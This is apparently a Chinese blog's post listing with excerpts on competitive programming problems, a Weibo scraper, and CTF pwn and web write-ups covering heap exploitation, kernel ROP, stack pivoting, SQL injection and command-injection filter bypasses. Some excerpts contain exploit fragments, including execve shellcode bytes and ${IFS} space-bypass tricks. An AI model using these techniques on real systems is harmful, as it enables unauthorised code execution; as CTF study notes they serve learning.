- 博客(32)
- 收藏
- 关注
原创 测试题 网上冲浪
The__Flash 的初始网页是 “https://www.baidu.com/”(不包括引号),此时上一个网页和下一个网页都不存在。但她有个奇特的癖好,那就是她只在浏览器默认标签页的地址栏上键入新网页地址,通过后退按钮访问上一个网页,前进按钮访问下一个网页,绝对不会新开第二个标签页。对于 100%100% 的数据有,有 1≤n≤105,1≤∣url∣≤301≤n≤105,1≤∣url∣≤30。back:通过后退按钮访问上一个网页,若上一个网页不存在则停留在当前网页。
2023-07-08 00:10:29
73
原创 PwnCollege shellcode第一章
课程https://www.youtube.com/watch?v=715v_-YnpT8漏洞程序 hello.cvoid bye1(){ puts("Goodbye!"); }void bye2(){ puts("Farewell!"); }void hello(char * name ,void (* bye_func)()){ printf("Hello , %s\n",name); bye_func();}int main(int argc,char **argv){ ch
2022-05-17 14:49:28
727
原创 kernel ROP - 2018 强网杯 - core
初学kernel,做个笔记。Kernel ROP - CTF Wikiwiki上有着详细的分析,这里只对一些wiki上没有讲到的做个笔记。首先是对文件:引用一句其他师傅的话:类比于libc中的pwn,感觉*.ko就是binary文件,vmlinux就是libc … 不同的是保护机制是由如何启动决定的(start.sh 中修改)。Rop大体思路:栈上有Canary防护的话,需要先泄露出Canary,来促使RopRop具体思路是和Libc中的类似,利用一些寄存器进行传值调用com
2022-05-09 19:48:25
193
原创 swpuctf2019 p1KkHeap
做一下笔记。这道题的限制还是挺多的。版本不低不高2.27限制:1.Delete 3次限制2.程序只能进行18次增删改查3.有UAF和Double free4.2.27不包含对tcache的double free 检查机制5.exec被禁用。但是有一片可读可写的内存空间用以shellcode要点:1.通过double free 可以快速的从tcache bin 中绕过。 方法是:double free 同一块,此时count为2。之后create3次相同大小的chunk。2-3
2022-04-17 20:30:10
192
原创 Kernel内核第一道KernelUAF
CISCN2017 - babydriver详细分析请移步kernel UAF - CTF Wiki,文章用作记录。1.KVM问题:KVM是虚拟化技术,有的机器可以通过bios中打开VT开启。但是我CPU i7-10875H并不支持。但这并不影响执行boot.sh启动Qume。只需要把boot.sh 中有关KVM那一行选项删掉即可。2.exp分析:CISCN2017_babydriver [master●●] cat exploit.c #include <stdio.h>
2022-04-17 17:42:58
128
原创 python爬虫微博热搜榜单
import requestsimport reurl = "https://s.weibo.com/top/summary?Refer=top_hot&topnav=1&wvr=6"headers = { "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0" , "Cookie": "UOR=www.huiyi8.com,widget
2021-12-09 01:41:38
1020
原创 借一道offbynull更深入理解heap
sctf2019_easy_heap就是一道简单的heap,但要记录下更深的heap源码的理解tcache:tcache - CTF Wiki/* Caller must ensure that we know tc_idx is valid and there's room for more chunks. */static __always_inline voidtcache_put (mchunkptr chunk, size_t tc_idx){ tcache_e
2021-11-18 21:07:08
2657
原创 KQCTF2021--fufu(个人总结)
一道挺有难度的堆题目当时没有写,赛后看了wp发现学习价值很高。总结一下 就是首先就是利用char类型的溢出,可以写道目标地址-127的位置,也就可以修改chunk头是很关键的一点其次函数本身也有一些逻辑错误,比如说对于 chunk size 的检查,这使得我们其实躲开检查。其中wp上用到的一些巧妙的涉及和伪造chunk都是很好的思路可能后续还会有更加精简的wp,但这个wp写的很详细CTFtime.org / Killer Queen CTF 2021 / fufu / Writeup
2021-11-07 23:26:01
184
原创 ciscn_2019_es_2(栈迁移)
代码不复杂,就是两个read和两个print关键在于这个read的大小和v1的位置。0x28的和0x30的大小,让我们直接rop的话只能溢出到ret的位置,而不能控制ret函数的参数。这里就需要用到栈迁移,就把栈的位置往上提,让我们可以控制到ret和ret的参数。既然我们想让栈往上提,那么就必须知道栈的具体位置,而我们知道,对于一个函数的栈帧中,有地址的位置就是ebp的位置,所以我们可以泄露出ebp的位置进而得到栈的位置。from pwn import *a=proces...
2021-08-27 11:37:27
271
2
原创 roarctf_2019_easy_pwn
没有UAF,但是存在着off-by-one所以先add(0x18)#chunk0和一个(0x10)#chunk1,add(0x90),add(0x10)为什么是0x18?因为0x18会开辟一个共0x20的chunk,一开始我也以为是一个0x30的大小,但是在chunk结构中 0x560df2c462b0 -0x560df2c462b8 这片区域中也会被chunk0使用。这样才能更接近chunk1的size域,对其进行攻击。所以,根据上面的off_by_one修改chunk1的si...
2021-07-30 15:20:22
355
原创 [BUUCTF]PWN——roarctf_2019_easy_pwn
白天睡觉,晚上来写道题。这道题涉及了unsortedbins,malloc_hook,堆溢出。heap的菜单选项常规题,做到目前为止,主要是两个思路:先check,根据RELRO。如果为full,那么就需要malloc_hook。如果为partial,就直接更改got表就可以了。在create函数中可以明显看出来这是个结构体一个结构体有24个字节,前8个为标志位,中间8个size位,后8个是alloc出来的chunk的指针。(alloc和malloc不同的是 alloc的fr
2021-07-29 04:57:39
272
原创 npuctf_2020_easyheap
这题的结构,像是hacknote 和之前一个easyheap的融合。但是漏洞利用手法不太一样。之前的一个easyheap是利用fastbin里面的一种漏洞。伪造一个fake chunk。(这道题的原因是因为,就算伪造了一个fake chunk ,我们malloc时也无法利用它)这次的漏洞:是将control chunk 和content chunk 对调,然后对control chunk攻击。from pwn import *elf = ELF("./npuctf_2020_easyhea
2021-07-27 11:54:26
274
原创 heap2-[ZJCTF 2019]EasyHeap
做题先check找攻击手段,Partial RELRP ->修改got表菜单题,直接找准delete看看有没有UAF。UAF未果。但是在Edit_heap中存在漏洞。这里看起来是以为可以修改heap的size,其实这个size是用来对你的输入进行限制的。(栈溢出就在这里把size写的很大,方便我们写入)而且这个程序写的也有点问题。 它会让你修改chunk的信息域所以 wpfrom pwn import *sh = remote("node4....
2021-07-27 01:25:12
182
原创 初始heap,pwnable_echo2
from pwn import *p=process("./echo2")elf=ELF("./echo2")p.recvuntil("hey, what's your name? : ")shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"p.sendline(shellcode)p.recvuntil(b"> ")p.se.
2021-07-25 16:51:58
151
原创 ciscn_2019_c_1
第一次写到ret2libc,记个笔记加深印象。F5反汇编main函数后,会让我们选择函数。我们注意到encrypt函数中存在着gets(s) 栈溢出漏洞。但是并没有存在system函数,所以我们不能直接利用。所以我们要用ret2libc技术,先考虑泄露libc基地址。在mian和encrypt函数中都出现了puts函数我们知道根据延迟绑定技术:plt表中的函数如果没有被调用过,那么got表中该函数的对应项则指向plt表的第二行指令。当完成了第一次调用后,got表中会存放
2021-05-25 00:15:00
343
1
原创 CTFWEB笔记
目录[极客大挑战 2019]EasySQL1[强网杯 2019]随便注[极客大挑战 2019]Havefun[SUCTF 2019]EasySQL[极客大挑战 2019]EasySQL1可见是一个sql注入,我们随意尝试字符型此路可通万能密码注入后得到flag。[强网杯 2019]随便注简单的尝试报错了用select 查找数据库被ban了用分号分隔命令查表desc words后能找到id的字...
2021-04-27 10:55:45
207
原创 [GXYCTF2019]Ping Ping Ping 1
打开后空空如也,随便输入1;ls 开始尝试直接cat flag尝试啊 这... 看样子是空格被屏蔽了********************记一下几种空格绕过方法 1 ${IFS}替换 2 $IFS$1替换 3 ${IFS替换 4 %20替换 5 <和<>重定向符替换 6 %09替换试..
2021-04-26 23:35:48
86
原创 [HCTF 2018]WarmUp
主要考察的是 文件包含漏洞和代码的审计以及一些文件操作进入在线场景按F12得到提示进入source.php文件得到源码 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"
2021-04-23 12:19:13
88
原创 P1025 [NOIP2001 提高组] 数的划分
有两种方法 :1.DP(也可以说是递推法):2:DFS对于递推法:我们用二维数组M[i][j] 来表示 i个数分成j份有多少次分法,这样我们递推下去,M[n][k]就是所求结果递推关系: M[i][j]=M[i-1][j-1]+M[i-j][j];其实就是 对于每次i所加的1 让他去哪,第一种方法,让这个1单独为1组,就是M[i-1][j-1];还有就是让 每一组都加上1来改变分组情况 就是M[i-j][j];#include<bits/stdc++.h&...
2021-03-26 15:23:21
113
原创 信息传递(dfs)
题目描述有 n 个同学(编号为 1 到 n)正在玩一个信息传递的游戏。在游戏里每人都有一个固定的信息传递对象,其中,编号为 i 的同学的信息传递对象是编号为TiTi的同学。游戏开始时,每人都只知道自己的生日。之后每一轮中,所有人会同时将自己当前所知的生日信息告诉各自的信息传递对象(注意:可能有人可以从若干人那里获取信息,但是每人只会把信息告诉一个人,即自己的信息传递对象)。当有人从别人口中得知自己的生日时,游戏结束。请问该游戏一共可以进行几轮?输入格式输入共 2 行。第 1 行包..
2021-03-25 17:49:27
324
原创 彩票(深度优先搜索)
题目描述有一种彩票的玩法是从1~49这49个整数中挑选6个数字。小明为此研究出一个选号的策略,就是从这49个数字中选出一个子集S,S中包含了k(k>6)个数字,然后从S中再选择6个数字作为最终选定的号码。你的任务是,给你k和集合S,输出从S中选择投注号码的所有组合。输入输入包含多组测试数据。每组输入首先是一个整数k(6<k<13)。然后是k个整数,表示集合S,这k个整数按升序给出。当k=0时,输入结束。输出对于每组输入,输出所有的投注组合,每行一种,每种按..
2021-03-19 12:48:29
428
原创 [luogu p1127] 词链
问题 E: 词链时间限制:1 Sec内存限制:128 MB提交:10解决:4[提交] [状态] [讨论版] [命题人:201824100354]题目描述给定一个仅包含小写字母的英文单词表,其中每个单词最多包含 50 个字母。如果一张由一个词或多个词组成的表中,每个单词(除了最后一个)都是排在它后面的单词的前缀,则称此表为一个词链。例如下面的单词组成了一个词链:iintinteger而下面的单词不组成词链:integerintern请在给定的单词...
2021-03-17 10:51:01
211
原创 非负权变单源最短路
题目描述给一个n(1≤n≤2500)个点m(1≤m≤6200)条边的无向图,求s到t的最短路。输入格式第一行四个由空格隔开的整数n、m、s、t。之后的m行,每行三个正整数si、ti、wi(1≤wi≤1e9),表示一条从si 到ti长度为wi的边。输出格式一个整数表示从s到t的最短路长度。数据保证至少存在一条道路。样例输入7 11 5 42 4 21 4 37 2 23 4 35 7 57 3 36 1 16 3 42 4 35 6 37 2 ..
2021-03-04 16:01:08
390
1
原创 动态规划:数字组合
这是一道01背包模型题。区别在于 01背包求的是 max,也就是 max(dp【j】,dp【j-a[i]】);而这道题求的是 count,也就是 在和为m时,有多少种拿法,也就是 dp【j】+=dp【j-a-[i]】;#include<iostream>using namespace std;int a[100010];int n;int m;int f[1000010];int main() { cin >> n >> m; for...
2021-02-10 17:03:57
305
原创 P2024 [NOI2001]食物链
题目描述动物王国中有三类动物A,B,C,这三类动物的食物链构成了有趣的环形。A吃B, B吃C,C吃A。现有N个动物,以1-N编号。每个动物都是A,B,C中的一种,但是我们并不知道它到底是哪一种。有人用两种说法对这N个动物所构成的食物链关系进行描述:第一种说法是“1 X Y”,表示X和Y是同类。 第二种说法是“2 X Y”,表示X吃Y。此人对N个动物,用上述两种说法,一句接一句地说出K句话,这K句话有的是真的,有的是假的。当一句话满足下列三条之一时,这句话就是假话,否则就是真话。当前的话与
2021-02-03 21:12:22
148
1
原创 出栈合法性
题目描述已知自然数1,2,...,N(1<=N<=100)依次入栈,请问序列C1,C2,...,CN是否为合法的出栈序列。输入输入包含多组测试数据。每组测试数据的第一行为整数N(1<=N<=100),当N=0时,输入结束。第二行为N个正整数,以空格隔开,为出栈序列。输出对于每组输入,输出结果为一行字符串。如给出的序列是合法的出栈序列,则输出Yes,否则输出No。样例输入53 4 2 1 553 5 1 4 20样...
2021-02-02 21:05:48
552
原创 划分数列
【问题描述】给你一个有n个正整数元素的数列,要求把它划分成k段,使每段元素和的最大值最小。【输入格式】sqea.in输入第一行两个正整数n,k第二行为此数列ai。【输出格式】sqea.out一个数,表示每段元素和的最大值最小的那个数。【样例输入】5 22 1 3 4 5【样例输出】9【数据范围】n <= 100000, k <= n, 0<=ai <= 109talk is cheap,show me your code`#include<iost
2021-01-31 03:00:45
817
2
原创 NOIP2012提高组day2第2题 借教室
题目描述 在大学期间,经常需要租借教室。大到院系举办活动,小到学习小组自习讨论,都需要向学校申请借教室。教室的大小功能不同,借教室人的身份不同,借教室的手续也不一样。 面对海量租借教室的信息,我们自然希望编程解决这个问题。我们需要处理接下来n天的借教室信息,其中第i天学校有ri个教室可供租借。共有m份订单,每份订 单用三个正整数描述,分别为dj,sj,tj,表示某租借者需要从第sj天到第tj天租借教室(包括第sj天和第tj天),每天需要租借dj个教室。 我们假定,租借者对教室的大小、地点没有要求
2021-01-30 21:34:41
228
原创 PTA整除光棍
L1-046 整除光棍 (20分)这里所谓的“光棍”,并不是指单身汪啦~ 说的是全部由1组成的数字,比如1、11、111、1111等。传说任何一个光棍都能被一个不以5结尾的奇数整除。比如,111111就可以被13整除。 现在,你的程序要读入一个整数x,这个整数一定是奇数并且不以5结尾。然后,经过计算,输出两个数字:第一个数字s,表示x乘以s是一个光棍,第二个数字n是这个光棍的位数。这样的解当然不是唯一的,题目要求你输出最小的解。提示:一个显然的办法是逐渐增加光棍的位数,直到可以整除x为止。但难点在于,s
2021-01-20 23:09:04
307
1
原创 攻防世界re1 writeup
初入ctf,尝试做了一道题,深有体会,写一篇博客记录一下!1 查壳 :无壳,32位2;ida打开程序,找到main函数,按下F5反汇编;3;阅读一下发现是对比v5,v9,若v5相等,即v3=0则进入flag get。若不等于0,则v3会进行运算使v3!=0,得到ps:_mm_storeu_si128((__m128i *)&v5, _mm_loadu_si128((const __m128i *)&xmmword_413E34));(给自己记个笔记)
2020-11-18 10:39:08
359
2
原创 2020-11-08
本人大一新生,初次接触编程,记录一下自己的学校oj题解。C语言-报数:题目描述有n人围成一圈,顺序排号。从第1个人开始报数(从1到3报数),凡报到3的人退出圈子,问最后留下的是原来的第几号的那位。输入初始人数n输出最后一人的初始编号;样例输入3样例输出2对于这种题目,我本人很菜,对于代码的理解还没有规范,做题也很少。用的方法也很普通。希望大哥们指点,交流#include <stdio.h>#include<str...
2020-11-08 22:58:10
177
1
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人